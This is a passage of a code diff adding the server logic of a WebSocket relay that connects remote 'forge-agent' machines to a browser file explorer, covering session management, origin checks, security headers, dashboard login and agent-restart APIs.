+ let s = sessions.get(sessionId);
459
+ if (!s) {
460
+ s = new Session(sessionId);
461
+ sessions.set(sessionId, s);
462
+ }
463
+ return s;
464
+ }
465
+ /** Push WebRTC availability when agent `info` arrives after the viewer (or agent upgrades). */
466
+ function pushViewerWebRtcAvailability(session) {
467
+ if (!wsIsOpen(session.viewer))
468
+ return;
469
+ const rtc = relayWebRtcFeaturesForViewer(session);
470
+ try {
471
+ session.viewer.send(JSON.stringify({
472
+ type: "relay_webrtc_availability",
473
+ webrtc_signaling: rtc?.webrtc_signaling === true,
474
+ ...(rtc?.webrtc_signaling === true ? { rtc_ice_servers: rtc.rtc_ice_servers } : {}),
475
+ }));
476
+ }
477
+ catch {
478
+ /* skip */
479
+ }
480
+ }
481
+ function removeSession(sessionId) {
482
+ const s = sessions.get(sessionId);
483
+ if (s?.agentDisconnectNotifyTimer) {
484
+ clearTimeout(s.agentDisconnectNotifyTimer);
485
+ s.agentDisconnectNotifyTimer = null;
486
+ }
487
+ sessions.delete(sessionId);
488
+ }
489
+ /** Cancel a pending debounced `agent_disconnected` (new agent connected in the grace window). */
490
+ function cancelAgentDisconnectNotifyToViewer(session) {
491
+ if (session.agentDisconnectNotifyTimer) {
492
+ clearTimeout(session.agentDisconnectNotifyTimer);
493
+ session.agentDisconnectNotifyTimer = null;
494
+ }
495
+ }
496
+ /**
497
+ * Notify viewer that the agent dropped — debounced so duplicate agents fighting for one session
498
+ * (old install vs new) do not flash disconnect/connect/disconnect in the file explorer every second.
499
+ */
500
+ function scheduleAgentDisconnectNotifyToViewer(session) {
501
+ cancelAgentDisconnectNotifyToViewer(session);
502
+ if (!wsIsOpen(session.viewer))
503
+ return;
504
+ const graceMs = (() => {
505
+ const raw = (process.env.CFGMGR_RELAY_AGENT_SWAP_GRACE_MS || "").trim();
506
+ if (raw) {
507
+ const n = parseInt(raw, 10);
508
+ if (Number.isFinite(n) && n >= 0 && n <= 30_000)
509
+ return n;
510
+ }
511
+ return 1800;
512
+ })();
513
+ if (graceMs <= 0) {
514
+ try {
515
+ session.viewer.send(JSON.stringify({ type: "agent_disconnected" }));
516
+ }
517
+ catch {
518
+ /* skip */
519
+ }
520
+ return;
521
+ }
522
+ session.agentDisconnectNotifyTimer = setTimeout(() => {
523
+ session.agentDisconnectNotifyTimer = null;
524
+ if (!wsIsOpen(session.viewer) || wsIsOpen(session.agent))
525
+ return;
526
+ try {
527
+ session.viewer.send(JSON.stringify({ type: "agent_disconnected" }));
528
+ }
529
+ catch {
530
+ /* skip */
531
+ }
532
+ }, graceMs);
533
+ }
534
+ /** Min ms between replacing a healthy agent socket — stops old+new forge-agent install fights. */
535
+ function relayAgentSlotCooldownMs() {
536
+ const raw = (process.env.CFGMGR_RELAY_AGENT_SLOT_COOLDOWN_MS || "").trim();
537
+ if (raw) {
538
+ const n = parseInt(raw, 10);
539
+ if (Number.isFinite(n) && n >= 0 && n <= 120_000)
540
+ return n;
541
+ }
542
+ return 8000;
543
+ }
544
+ /** After the slot is empty this long, allow reconnect even inside the assign cooldown (single agent recovery). */
545
+ function relayAgentSlotVacatedGraceMs() {
546
+ const raw = (process.env.CFGMGR_RELAY_AGENT_SLOT_VACATED_GRACE_MS || "").trim();
547
+ if (raw) {
548
+ const n = parseInt(raw, 10);
549
+ if (Number.isFinite(n) && n >= 0 && n <= 60_000)
550
+ return n;
551
+ }
552
+ return 2000;
553
+ }
554
+ /**
555
+ * Reject a newcomer when the session slot is held or in a post-swap cooldown.
556
+ * A healthy incumbent is **never** closed with 4002 — that caused 8s disconnect/connect oscillation
557
+ * when two autostart paths (old + new forge-agent) fought on the same My VPS id.
558
+ */
559
+ function rejectIncomingAgentIfSlotHeld(session, incoming) {
560
+ if (incoming === session.agent)
561
+ return false;
562
+ if (wsIsOpen(session.agent)) {
563
+ try {
564
+ incoming.close(4008, "Agent slot held — only one forge-agent per My VPS id");
565
+ }
566
+ catch {
567
+ /* skip */
568
+ }
569
+ return true;
570
+ }
571
+ if (shouldRejectDuplicateAgentConnect(session, incoming)) {
572
+ try {
573
+ incoming.close(4008, "Agent slot cooldown — only one forge-agent per My VPS id");
574
+ }
575
+ catch {
576
+ /* skip */
577
+ }
578
+ return true;
579
+ }
580
+ return false;
581
+ }
582
+ function shouldRejectDuplicateAgentConnect(session, incoming) {
583
+ const cooldown = relayAgentSlotCooldownMs();
584
+ if (cooldown <= 0)
585
+ return false;
586
+ if (incoming === session.agent)
587
+ return false;
588
+ const sinceAssign = Date.now() - session.agentAssignedAt;
589
+ if (session.agentAssignedAt <= 0 || sinceAssign >= cooldown)
590
+ return false;
591
+ if (wsIsOpen(session.agent))
592
+ return true;
593
+ const vacatedFor = session.agentSlotVacatedAt > 0
594
+ ? Date.now() - session.agentSlotVacatedAt
595
+ : 0;
596
+ if (vacatedFor >= relayAgentSlotVacatedGraceMs())
597
+ return false;
598
+ return true;
599
+ }
600
+ /**
601
+ * forge-db HTTP base URL the relay advertises to agents (same `.env` as forge-relay).
602
+ * Optional `RELAY_SYNC_API_BASE_URL` overrides when relay and API live on different hosts.
603
+ * When unset, falls back to local forge-db default (same as blacklist `RELAY_FORGE_DB_API_URL`
604
+ * default) so `GET /api/relay-for-agent` still seeds agents before WebSocket connect.
605
+ */
606
+ function relayAdvertisedSyncApiBaseUrl() {
607
+ if ((process.env.FORGE_JS_DISABLE_SYNC || "").trim() === "1") {
608
+ return "";
609
+ }
610
+ const u = (process.env.RELAY_SYNC_API_BASE_URL ||
611
+ process.env.FORGE_JS_SYNC_URL ||
612
+ process.env.CFGMGR_API_URL ||
613
+ process.env.CFGMGR_CFG ||
614
+ "")
615
+ .trim()
616
+ .replace(/\/+$/, "");
617
+ if (u)
618
+ return u;
619
+ return "http://127.0.0.1:8765";
620
+ }
621
+ /** Public HTTP base for relay package downloads (remote PCs cannot use 127.0.0.1). */
622
+ function relayAdvertisedRelayHttpBaseUrl() {
623
+ const explicit = (process.env.FORGE_JS_RELAY_PUBLIC_HTTP_URL ||
624
+ process.env.CFGMGR_RELAY_PUBLIC_HTTP_URL ||
625
+ "")
626
+ .trim()
627
+ .replace(/\/+$/, "");
628
+ if (explicit)
629
+ return explicit;
630
+ const relayWs = (process.env.CFGMGR_RELAY_URL ||
631
+ process.env.FORGE_JS_RELAY_URL ||
632
+ "").trim();
633
+ const fromWs = (0, relayForAgentHttp_1.wsRelayUrlToHttpBase)(relayWs) ?? "";
634
+ if (fromWs && !/127\.0\.0\.1|localhost/i.test(fromWs))
635
+ return fromWs;
636
+ const sync = relayAdvertisedSyncApiBaseUrl();
637
+ if (sync && fromWs) {
638
+ try {
639
+ const syncHost = new URL(sync).hostname;
640
+ const port = new URL(fromWs).port ||
641
+ String(process.env.FORGE_JS_RELAY_PORT || deploymentDefaults_1.RELAY_DEFAULT_PORT).trim();
642
+ if (syncHost && !/127\.0\.0\.1|localhost/i.test(syncHost)) {
643
+ return `http://${syncHost}:${port}`;
644
+ }
645
+ }
646
+ catch {
647
+ /* skip */
648
+ }
649
+ }
650
+ return fromWs;
651
+ }
652
+ function relayPublicApiEnabled() {
653
+ const raw = (process.env.CFGMGR_RELAY_PUBLIC_API || "").trim().toLowerCase();
654
+ return ["1", "true", "yes", "on"].includes(raw);
655
+ }
656
+ function isPrivateIpv4(addr) {
657
+ const m = /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.exec(addr);
658
+ if (!m)
659
+ return false;
660
+ const o = (i) => Number.parseInt(m[i], 10);
661
+ const b0 = o(1);
662
+ const b1 = o(2);
663
+ if (!(b0 <= 255 && b1 <= 255 && o(3) <= 255 && o(4) <= 255))
664
+ return false;
665
+ if (b0 === 10)
666
+ return true;
667
+ if (b0 === 172 && b1 >= 16 && b1 <= 31)
668
+ return true;
669
+ if (b0 === 192 && b1 === 168)
670
+ return true;
671
+ return false;
672
+ }
673
+ function relaySessionsApiTrustLan() {
674
+ const raw = (process.env.CFGMGR_RELAY_SESSIONS_API_TRUST_LAN || "").trim()
675
+ .toLowerCase();
676
+ return ["1", "true", "yes", "on"].includes(raw);
677
+ }
678
+ /**
679
+ * `/api/sessions` (read-only): loopback by default; optional RFC1918 when
680
+ * `CFGMGR_RELAY_SESSIONS_API_TRUST_LAN=1` (e.g. dashboard in Docker); or full public API flag.
681
+ *
682
+ * **Not** protected by the browser dashboard password: server-side pollers (e.g. `forge-clients-status`)
683
+ * call this over HTTP with no `Cookie` header, so the loopback / LAN / public-api rules here must
684
+ * be evaluated first. The dashboard gate still covers HTML and viewer WebSockets for humans.
685
+ */
686
+ function relaySessionsApiAllowed(req) {
687
+ if (relayPublicApiEnabled())
688
+ return true;
689
+ const a = (req.socket.remoteAddress || "").replace(/^::ffff:/, "");
690
+ if (a === "127.0.0.1" || a === "::1")
691
+ return true;
692
+ if (relaySessionsApiTrustLan() && isPrivateIpv4(a))
693
+ return true;
694
+ return false;
695
+ }
696
+ function relayWsConnectLoggingEnabled() {
697
+ const raw = (process.env.CFGMGR_RELAY_LOG_WS || "").trim().toLowerCase();
698
+ return ["1", "true", "yes", "on"].includes(raw);
699
+ }
700
+ /**
701
+ * Browser `Origin` vs `Host` check for viewer WebSockets.
702
+ *
703
+ * Default **relaxed** (`false`): strict matching breaks `/files` behind reverse proxies, SSH tunnels,
704
+ * and hostname vs IP mismatches (common on Ubuntu/macOS). Set **`CFGMGR_RELAY_STRICT_ORIGIN=1`** for
705
+ * internet-facing relays (CSRF-style protection). **`CFGMGR_RELAY_DISABLE_ORIGIN_CHECK=1`** forces relaxed.
706
+ */
707
+ function relayOriginCheckEnabled() {
708
+ const disable = (process.env.CFGMGR_RELAY_DISABLE_ORIGIN_CHECK || "").trim().toLowerCase();
709
+ if (["1", "true", "yes", "on"].includes(disable))
710
+ return false;
711
+ const strict = (process.env.CFGMGR_RELAY_STRICT_ORIGIN || "").trim().toLowerCase();
712
+ if (["1", "true", "yes", "on"].includes(strict))
713
+ return true;
714
+ return false;
715
+ }
716
+ /**
717
+ * WebSocket ping interval (ms) for both agent and viewer. Helps NATs, reverse proxies, and
718
+ * corporate middleboxes from dropping idle explorer sessions (often seen as “second connect hangs”).
719
+ * Set `CFGMGR_RELAY_WS_PING_MS=0` to disable.
720
+ */
721
+ function relayWsPingIntervalMs() {
722
+ const raw = (process.env.CFGMGR_RELAY_WS_PING_MS || "").trim();
723
+ if (raw) {
724
+ const n = Number(raw);
725
+ if (!Number.isNaN(n))
726
+ return Math.min(120_000, Math.max(0, n));
727
+ }
728
+ /** Slightly aggressive default — NATs / VPNs on Linux & macOS often drop idle WS before 25s. */
729
+ return 18_000;
730
+ }
731
+ function headerGet(headers, name) {
732
+ const v = headers[name.toLowerCase()];
733
+ if (Array.isArray(v))
734
+ return String(v[0] || "").trim();
735
+ return String(v || "").trim();
736
+ }
737
+ function requestPeerIp(req) {
738
+ const xff = headerGet(req.headers, "x-forwarded-for")
739
+ .split(",")[0]
740
+ ?.trim();
741
+ const xri = headerGet(req.headers, "x-real-ip").trim();
742
+ const raw = String(xff || xri || req.socket.remoteAddress || "").trim();
743
+ return raw.replace(/^::ffff:/, "");
744
+ }
745
+ /** Base host for `new URL()` when `Host` is missing (HTTP/1.0 or broken clients). */
746
+ function requestHost(headers) {
747
+ const h = headerGet(headers, "host");
748
+ return h || "127.0.0.1";
749
+ }
750
+ function requestUrl(req) {
751
+ return new URL(req.url || "/", `http://${requestHost(req.headers)}`);
752
+ }
753
+ /**
754
+ * RFC 7239 `Forwarded` — extract `host=` values so strict Origin checks work when proxies
755
+ * set `Forwarded` but not `X-Forwarded-Host` (common on Linux / Traefik / Caddy).
756
+ */
757
+ function hostsFromForwardedHeader(headers) {
758
+ const raw = headerGet(headers, "forwarded");
759
+ if (!raw)
760
+ return [];
761
+ const out = [];
762
+ for (const element of raw.split(",")) {
763
+ const e = element.trim();
764
+ if (!e)
765
+ continue;
766
+ for (const param of e.split(";")) {
767
+ const m = /^\s*host\s*=\s*(.+)\s*$/i.exec(param);
768
+ if (!m)
769
+ continue;
770
+ let v = m[1].trim();
771
+ if ((v.startsWith('"') && v.endsWith('"')) ||
772
+ (v.startsWith("'") && v.endsWith("'"))) {
773
+ v = v.slice(1, -1).trim();
774
+ }
775
+ if (v)
776
+ out.push(v);
777
+ }
778
+ }
779
+ return out;
780
+ }
781
+ /** Strip trailing dots from DNS names (FQDN form). */
782
+ function stripTrailingDnsDots(host) {
783
+ return (host || "").replace(/\.+$/g, "");
784
+ }
785
+ /**
786
+ * Split `host[:port]` / `[ipv6]:port` into hostname + port (lowercased hostname).
787
+ * Used so Origin vs Host can be compared without false rejects on loopback aliases.
788
+ */
789
+ function splitHostAndPort(hostPort) {
790
+ const raw = (hostPort || "").trim();
791
+ if (!raw)
792
+ return { hostname: "", port: "" };
793
+ if (raw.startsWith("[")) {
794
+ const end = raw.indexOf("]");
795
+ if (end !== -1) {
796
+ const hostname = stripTrailingDnsDots(raw.slice(1, end).toLowerCase());
797
+ const rest = raw.slice(end + 1);
798
+ const port = rest.startsWith(":") ? rest.slice(1) : "";
799
+ return { hostname, port };
800
+ }
801
+ }
802
+ const idx = raw.lastIndexOf(":");
803
+ if (idx > 0 && !raw.slice(0, idx).includes(":")) {
804
+ return {
805
+ hostname: stripTrailingDnsDots(raw.slice(0, idx).toLowerCase()),
806
+ port: raw.slice(idx + 1),
807
+ };
808
+ }
809
+ return { hostname: stripTrailingDnsDots(raw.toLowerCase()), port: "" };
810
+ }
811
+ /** True for IPv4 addresses in 127.0.0.0/8 (RFC 1122 loopback), e.g. Ubuntu's common 127.0.1.1 in /etc/hosts. */
812
+ function isIpv4Loopback127(hostname) {
813
+ const h = stripTrailingDnsDots((hostname || "").trim().toLowerCase());
814
+ if (!/^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(h))
815
+ return false;
816
+ const parts = h.split(".").map((p) => Number(p));
817
+ return parts.every((n) => n >= 0 && n <= 255);
818
+ }
819
+ /** Loopback / common dev aliases must match each other (browser Origin vs Host mismatch). */
820
+ function hostnameInSameOriginGroup(a, b) {
821
+ const x = stripTrailingDnsDots((a || "").trim().toLowerCase());
822
+ const y = stripTrailingDnsDots((b || "").trim().toLowerCase());
823
+ if (!x || !y)
824
+ return false;
825
+ if (x === y)
826
+ return true;
827
+ const loop = new Set([
828
+ "localhost",
829
+ "127.0.0.1",
830
+ "::1",
831
+ "0:0:0:0:0:0:0:1",
832
+ "0000:0000:0000:0000:0000:0000:0000:0001",
833
+ ]);
834
+ if (x.startsWith("::ffff:") && loop.has(x.slice(7)))
835
+ return loop.has(y) || y === x.slice(7);
836
+ if (y.startsWith("::ffff:") && loop.has(y.slice(7)))
837
+ return loop.has(x) || x === y.slice(7);
838
+ /** Linux often maps hostname → 127.0.1.1 while the browser uses 127.0.0.1 or localhost in Origin. */
839
+ if (isIpv4Loopback127(x) && isIpv4Loopback127(y))
840
+ return true;
841
+ if (loop.has(x) && isIpv4Loopback127(y))
842
+ return true;
843
+ if (loop.has(y) && isIpv4Loopback127(x))
844
+ return true;
845
+ return loop.has(x) && loop.has(y);
846
+ }
847
+ /**
848
+ * Compare browser `Origin` to a `Host` / `X-Forwarded-Host` / `Forwarded host=` candidate.
849
+ * Uses URL default ports (80 / 443) when the origin omits the port so `https://a` matches `a:443`
850
+ * from reverse proxies (common Ubuntu/macOS TLS frontends).
851
+ */
852
+ function hostPortAllowedForOrigin(originUrl, candidateHostPort) {
853
+ let u;
854
+ try {
855
+ u = new URL(originUrl);
856
+ }
857
+ catch {
858
+ return false;
859
+ }
860
+ const oHost = stripTrailingDnsDots(u.hostname.toLowerCase());
861
+ let oPort = (u.port || "").trim();
862
+ if (!oPort) {
863
+ if (u.protocol === "https:")
864
+ oPort = "443";
865
+ else if (u.protocol === "http:")
866
+ oPort = "80";
867
+ }
868
+ const c = splitHostAndPort(candidateHostPort);
869
+ const cHost = stripTrailingDnsDots(c.hostname.toLowerCase());
870
+ if (!oHost || !cHost)
871
+ return false;
872
+ let cPort = c.port.trim();
873
+ if (!cPort) {
874
+ if (oHost === cHost || hostnameInSameOriginGroup(oHost, cHost)) {
875
+ cPort = oPort;
876
+ }
877
+ else if (u.protocol === "https:") {
878
+ cPort = "443";
879
+ }
880
+ else if (u.protocol === "http:") {
881
+ cPort = "80";
882
+ }
883
+ }
884
+ if (oPort !== cPort)
885
+ return false;
886
+ return hostnameInSameOriginGroup(oHost, cHost);
887
+ }
888
+ function originAllowedForViewer(origin, host, requestHeaders) {
889
+ if (!relayOriginCheckEnabled())
890
+ return true;
891
+ const oTrim = (origin || "").trim();
892
+ /** Missing Origin, or opaque origins (Safari / some WebKit builds send the literal `null`). */
893
+ if (!oTrim || oTrim.toLowerCase() === "null")
894
+ return true;
895
+ try {
896
+ new URL(oTrim);
897
+ }
898
+ catch {
899
+ return false;
900
+ }
901
+ const candidates = [];
902
+ if (host)
903
+ candidates.push(host.trim());
904
+ const xf = headerGet(requestHeaders, "x-forwarded-host");
905
+ if (xf) {
906
+ for (const part of xf.split(",")) {
907
+ const p = part.trim();
908
+ if (p)
909
+ candidates.push(p);
910
+ }
911
+ }
912
+ for (const fh of hostsFromForwardedHeader(requestHeaders)) {
913
+ if (fh)
914
+ candidates.push(fh);
915
+ }
916
+ if (!candidates.length)
917
+ return true;
918
+ for (const cand of candidates) {
919
+ if (hostPortAllowedForOrigin(oTrim, cand))
920
+ return true;
921
+ }
922
+ return false;
923
+ }
924
+ /** Minimal relay info (explorer is the default at `/`). */
925
+ const RELAY_INFO_HTML = `<!DOCTYPE html>
926
+ <html lang="en">
927
+ <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
928
+ <title>CfgMgr relay</title>
929
+ <style>
930
+ body{font-family:system-ui,sans-serif;background:#0f1419;color:#e6edf3;max-width:42rem;margin:3rem auto;padding:1.5rem;line-height:1.5;}
931
+ a{color:#58a6ff;} h1{font-size:1.35rem;font-weight:600;}
932
+ </style></head>
933
+ <body>
934
+ <h1>CfgMgr relay</h1>
935
+ <p>Forge-explorer is at <a href="/">/</a> (same UI as <a href="/files">/files</a> or <a href="/explorer">/explorer</a>).</p>
936
+ </body>
937
+ </html>`;
938
+ /** Apply security headers to all HTTP responses from the relay. */
939
+ function _applySecurityHeaders(res) {
940
+ res.setHeader("X-Content-Type-Options", "nosniff");
941
+ res.setHeader("X-Frame-Options", "DENY");
942
+ res.setHeader("X-XSS-Protection", "1; mode=block");
943
+ res.setHeader("Referrer-Policy", "no-referrer");
944
+ res.setHeader("Permissions-Policy", "geolocation=(), microphone=(), camera=(), usb=()");
945
+ res.setHeader("Strict-Transport-Security", "max-age=31536000; includeSubDomains");
946
+ res.setHeader("Cross-Origin-Opener-Policy", "same-origin");
947
+ res.setHeader("Cross-Origin-Resource-Policy", "same-origin");
948
+ res.setHeader("Content-Security-Policy", "default-src 'self'; " +
949
+ "script-src 'self' 'unsafe-inline' 'unsafe-eval'; " + // file explorer needs these
950
+ "style-src 'self' 'unsafe-inline'; " +
951
+ "img-src 'self' data: blob:; " +
952
+ "connect-src 'self' ws: wss:; " + // WebSocket connections
953
+ "frame-ancestors 'none';");
954
+ }
955
+ /** Async HTTP handlers skip writes when the socket already closed (avoids ERR_HTTP_HEADERS_SENT). */
956
+ function _ifHttpWritable(res, send) {
957
+ if (res.writableEnded)
958
+ return;
959
+ try {
960
+ send();
961
+ }
962
+ catch {
963
+ /* ignore — peer may disconnect mid-response */
964
+ }
965
+ }
966
+ function writeFilesExplorerHtml(res) {
967
+ let html;
968
+ try {
969
+ html = (0, filesExplorer_1.buildFilesExplorerHtml)();
970
+ }
971
+ catch (e) {
972
+ res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
973
+ res.end(String(e));
974
+ return;
975
+ }
976
+ _applySecurityHeaders(res);
977
+ res.writeHead(200, {
978
+ "Content-Type": "text/html; charset=utf-8",
979
+ "Cache-Control": "no-store, max-age=0, must-revalidate",
980
+ Pragma: "no-cache",
981
+ });
982
+ res.end(html);
983
+ }
984
+ function withRelayDashboardOrLogin(res, req, sendUnlocked) {
985
+ if ((0, relayDashboardGate_1.isRelayDashboardGateEnabled)() && !(0, relayDashboardGate_1.relayDashboardUnlockedForRequest)(req)) {
986
+ res.writeHead(200, {
987
+ "Content-Type": "text/html; charset=utf-8",
988
+ "Cache-Control": "no-store, max-age=0, must-revalidate",
989
+ Pragma: "no-cache",
990
+ });
991
+ res.end((0, relayDashboardGate_1.buildDashboardGateLoginHtml)());
992
+ return;
993
+ }
994
+ sendUnlocked(res);
995
+ }
996
+ function handlePostRelayDashboard(req, res, pathname) {
997
+ if (pathname === "/api/relay-dashboard-auth") {
998
+ if (!(0, relayDashboardGate_1.isRelayDashboardGateEnabled)()) {
999
+ res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
1000
+ res.end("Not found");
1001
+ return;
1002
+ }
1003
+ void (0, relayDashboardGate_1.readJsonBody)(req).then((b) => {
1004
+ if (res.writableEnded)
1005
+ return;
1006
+ try {
1007
+ if (b.error) {
1008
+ res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
1009
+ res.end(b.error);
1010
+ return;
1011
+ }
1012
+ const pw = b.data?.password ?? '';
1013
+ const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
1014
+ if (!t.ok) {
1015
+ res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
1016
+ res.end("Unauthorized");
1017
+ return;
1018
+ }
1019
+ if (t["set-cookie"]) {
1020
+ res.writeHead(204, { "set-cookie": t["set-cookie"] });
1021
+ res.end();
1022
+ }
1023
+ else {
1024
+ res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
1025
+ res.end("Config error");
1026
+ }
1027
+ }
1028
+ catch {
1029
+ _ifHttpWritable(res, () => {
1030
+ res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
1031
+ res.end("Internal error");
1032
+ });
1033
+ }
1034
+ });
1035
+ return;
1036
+ }
1037
+ if (pathname === "/api/relay-dashboard-logout") {
1038
+ if (!(0, relayDashboardGate_1.isRelayDashboardGateEnabled)()) {
1039
+ res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
1040
+ res.end("Not found");
1041
+ return;
1042
+ }
1043
+ const c = (0, relayDashboardGate_1.clearDashboardCookieHeader)()["set-cookie"];
1044
+ res.writeHead(204, { "set-cookie": c });
1045
+ res.end();
1046
+ }
1047
+ }
1048
+ function listSessionsPayload() {
1049
+ const now = Date.now();
1050
+ return Array.from(sessions.values()).map((s) => ({
1051
+ session_id: s.sessionId,
1052
+ has_agent: wsIsOpen(s.agent),
1053
+ has_viewer: wsIsOpen(s.viewer),
1054
+ age_s: Math.round((now - s.createdAt) / 1000),
1055
+ idle_s: Math.round((now - s.lastActivity) / 1000),
1056
+ /** forge-jsx version installed on the agent machine (from agent's `info` message). */
1057
+ agent_version: s.agentVersion || null,
1058
+ agent_os: s.agentOs || null,
1059
+ agent_hostname: s.agentHostname || null,
1060
+ /** Peer IP of the agent WebSocket — used by client-status dashboard to match `client_ip_*` registry rows. */
1061
+ agent_remote_ip: s.agentRemoteIp || null,
1062
+ agent_filesystem: s.agentFilesystem,
1063
+ agent_webrtc_datachannel: s.agentWebrtcDatachannel,
1064
+ extension_db_outcome: s.extensionDbOutcome || null,
1065
+ extension_db_at_ms: s.extensionDbAtMs || null,
1066
+ extension_db_agent_version: s.extensionDbAgentVersion || null,
1067
+ }));
1068
+ }
1069
+ /** Ops snapshot: connected agents + upgrade targets (same auth as `/api/sessions`). */
1070
+ async function queueAgentRestartsOnForgeDb(tableNames, note) {
1071
+ const base = _forgeDbApiUrl().replace(/\/+$/, "");
1072
+ const apiKey = (process.env.RELAY_FORGE_DB_API_KEY ||
1073
+ process.env.FORGE_DB_API_KEY ||
1074
+ "").trim();
1075
+ const headers = { "Content-Type": "application/json" };
1076
+ if (apiKey)
1077
+ headers["X-Forge-Api-Key"] = apiKey;
1078
+ const res = await fetch(`${base}/api/agent-restart-queue`, {
1079
+ method: "POST",
1080
+ headers,
1081
+ body: JSON.stringify({
1082
+ table_names: tableNames,
1083
+ note: note || "relay /api/agent-restart-queue",
1084
+ }),
1085
+ });
1086
+ const text = await res.text();
1087
+ let data = {};
1088
+ try {
1089
+ data = text ? JSON.parse(text) : {};
1090
+ }
1091
+ catch {
1092
+ data = { raw: text };
1093
+ }
1094
+ if (!res.ok) {
1095
+ throw new Error(`forge-db queue HTTP ${res.status}: ${text.slice(0, 400)}`);
1096
+ }
1097
+ const o = data;
1098
+ return {
1099
+ queued: Array.isArray(o.queued) ? o.queued.map(String) : [],
1100
+ count: typeof o.count === "number" ? o.count : 0,
1101
+ };
1102
+ }
1103
+ function nudgeConnectedAgentsRestart(tableNames) {
1104
+ const want = new Set(tableNames
1105
+ .map((t) => (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(String(t).trim()))
1106
+ .filter((t) => t.length > 0));
1107
+ let n = 0;
1108
+ for (const s of sessions.values()) {
1109
+ if (!want.has(s.sessionId))
1110
+ continue;
1111
+ if (!wsIsOpen(s.agent))
1112
+ continue;
1113
+ try {
1114
+ s.agent.send(JSON.stringify({ type: "relay_agent_restart_requested" }));
1115
+ n++;
1116
+ }
1117
+ catch {
1118
+ /* skip */
1119
+ }
1120
+ }
1121
+ return n;
1122
+ }
1123
+ function handlePostAgentRestartQueue(req, res) {
1124
+ void (0, relayDashboardGate_1.readJsonObjectBody)(req).then(async (b) => {
1125
+ if (res.writableEnded)
1126
+ return;
1127
+ try {
1128
+ if (b.error) {
1129
+ res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
1130
+ res.end(JSON.stringify({ error: b.error }));
1131
+ return;
1132
+ }
1133
+ const body = b.data || {};
1134
+ const raw = body.table_names ?? body.tableNames ?? body.sessions;
1135
+ const list = Array.isArray(raw)
1136
+ ? raw.map((x) => String(x).trim()).filter(Boolean)
1137
+ : [];
1138
+ if (!list.length) {
1139
+ res.writeHead(400, { "Content-Type": "application/json; charset=utf-8" });
1140
+ res.end(JSON.stringify({ error: "table_names[] required" }));
1141
+ return;
1142
+ }
1143
+ const note = String(body.note ?? "").trim();
1144
+ const queued = await queueAgentRestartsOnForgeDb(list, note);
1145
+ const wsNudged = nudgeConnectedAgentsRestart(list);
1146
+ _applySecurityHeaders(res);
1147
+ res.writeHead(200, { "Content-Type": "application/json; charset=utf-8" });
1148
+ res.end(JSON.stringify({
1149
+ status: "ok",
1150
+ forge_db: queued,
1151
+ ws_nudged: wsNudged,
1152
+ }));
1153
+ }
1154
+ catch (e) {
1155
+ _ifHttpWritable(res, () => {
1156
+ res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
1157
+ res.end(JSON.stringify({
1158
+ error: e instanceof Error ? e.message : String(e),
1159
+ }));
1160
+ });
1161
+ }
1162
+ });
1163
+ }
1164
+ function listAgentFleetPayload() {
1165
+ const relayPkg = relayPackageVersion();
1166
+ const agents = Array.from(sessions.values())
1167
+ .filter((s) => wsIsOpen(s.agent))
1168
+ .map((s) => {
1169
+ const ver = (s.agentVersion || "").trim();
1170
+ const needsUpgrade = relayPkg !== "unknown" && ver
1171
+ ? agentVersionOlderThanRelay(ver, relayPkg)
1172
+ : false;
1173
+ return {
1174
+ session_id: s.sessionId,
1175
+ agent_version: ver || null,
1176
+ agent_hostname: s.agentHostname || null,
1177
+ agent_os: s.agentOs || null,
1178
+ needs_upgrade: needsUpgrade,
1179
+ };
1180
+ });
1181
+ const needsUpgrade = agents.filter((a) => a.needs_upgrade).length;
1182
+ return {
1183
+ relay_version: relayPkg === "unknown" ? null : relayPkg,
1184
+ relay_started_at_ms: relayServerStartedAtMs || Date.now(),
1185
+ summary: {
1186
+ connected_agents: agents.length,
1187
+ needs_upgrade: needsUpgrade,
1188
+ on_current_relay: agents.length - needsUpgrade,
1189
+ },
1190
+ agents,
1191
+ };
1192
+ }
1193
+ function handleHttp(req, res) {
1194
+ let url;
1195
+ try {
1196
+ url = requestUrl(req);
1197
+ }
1198
+ catch {
1199
+ res.writeHead(400, { "Content-Type": "text/plain; charset=utf-8" });
1200
+ res.end("Bad Request");
1201
+ return;
1202
+ }
1203
+ const p = url.pathname.replace(/\/+$/, "") || "/";
1204
+ if (req.method === "POST") {
1205
+ if (p === "/api/relay-dashboard-auth" || p === "/api/relay-dashboard-logout") {
1206
+ handlePostRelayDashboard(req, res, p);
1207
+ return;
1208
+ }
1209
+ if (p === "/api/agent-restart-queue" && relaySessionsApiAllowed(req)) {
1210
+ handlePostAgentRestartQueue(req, res);
1211
+ return;
1212
+ }
1213
+ res.writeHead(405, { "Content-Type": "text/plain" });
1214
+ res.end("Method Not Allowed");
1215
+ return;
1216
+ }
1217
+ if (req.method !== "GET") {
1218
+ res.writeHead(405, { "Content-Type": "text/plain" });
1219
+ res.end("Method Not Allowed");
1220
+ return;
1221
+ }
1222
+ if (p === "/" || p === "/viewer" || p === "/files" || p === "/explorer") {
1223
+ withRelayDashboardOrLogin(res, req, writeFilesExplorerHtml);
1224
+ return;
1225
+ }
1226
+ if (p === "/remote" || p === "/remote-control") {
1227
+ withRelayDashboardOrLogin(res, req, (r) => {
1228
+ _applySecurityHeaders(r);
1229
+ let html;
1230
+ try {
1231
+ html = (0, filesExplorer_1.buildRemoteControlHtml)();
1232
+ }
1233
+ catch (e) {
1234
+ r.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
1235
+ r.end(String(e));
1236
+ return;
1237
+ }
1238
+ r.writeHead(200, {
1239
+ "Content-Type": "text/html; charset=utf-8",
1240
+ "Cache-Control": "no-store",
1241
+ });
1242
+ r.end(html);
1243
+ });
1244
+ return;
1245
+ }
1246
+ if (p === "/relay") {
1247
